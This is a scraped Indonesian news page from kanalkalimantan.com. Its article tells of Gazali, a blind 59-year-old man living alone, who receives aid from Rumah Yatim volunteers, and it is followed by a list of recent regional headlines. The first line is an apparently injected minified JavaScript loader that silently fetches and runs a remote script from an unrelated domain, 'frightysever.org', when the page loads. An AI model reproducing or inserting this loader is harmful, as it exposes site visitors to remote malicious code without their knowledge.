(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Hidup Sendiri dalam Kondisi Tak Melihat, Gazali Sumringah Terima Bantuan Rumah Yatim


KANALKALIMANTAN.COM, MARABAHAN – Hidup sebatang kara di usia senja dengan kondisi mata buta harus dijalani seorang pria bernama Gazali (59). Sejak usia 37 tahun, mata Gazali sudah tidak bisa melihat dan saat itu pula Ia tak mampu bekerja mencari nafkah untuk keluarganya.

Sebelum mengalami kebutaan, Gazali merupakan seorang warga yang tinggal di sebuah rumah sederhana di Desa Marabahan Baru RT 01, Kecamatan Anjir Muara, Kabupaten Barito Kuala, adalah seorang petani. Namun saat saraf matanya rusak hingga membuatnya buta, kini Gazali terpaksa hanya berdiam diri di rumah.

“Beginilah kondisi saya dengan keadaan tunanetra. Sudah berobat ke sana kemari tetapi tidak sembuh juga,” tutur Gazali menceritakan kisah hidupnya.

Di tengah kondisi payah, pun di usia yang tak lagi muda, derita nampaknya belum mau pergi dari hidup Gazali. Kondisi matanya yang buta nyatanya bukan menguatkan sang Istri untuk selalu menemani, namun justru tega meninggalkan Gazali seorang diri.

 

“Istri saya meninggalkan saya kira-kira tahun 2011. Mungkin karena saya sudah tidak bisa bekerja lagi jadi istri saya meninggalkan saya,” ungkap Gazali yang rambutnya nampak mulai memutih itu.

Sebenarnya, dia memiliki 3 orang anak, namun ketiganya kini telah berumah tangga dan hidup terpisah dengannya. Mereka hanya sesekali saja datang menjenguk Gazali. Untuk makan sehari-hari, Ia terkadang mendapat bantuan dari tetangganya.

Dalam kesempatan kunjungan tersebut, Tim Relawan Rumah Yatim area Kalimantan Selatan memberikan bantuan melalui program peduli sesama kepada Gazali. Dengan senyum di antara gigi yang mulai rontok, Gazali nampak semringah menerima bantuan yang diberikan.

“Alhamdulillah, saya ucapkan terima kasih yang sebesar-besarnya. Dalam kondisi seperti ini masih ada saja orang yang peduli terhadap saya,” ucap kakek Gazali dengan penuh syukur. (kanalkalimantan.com/rls)

Reporter : rdy
Editor : bie

Al Ghifari

Recent Posts

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

27 menit ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

3 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

3 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

3 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

4 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

4 jam ago

This website uses cookies.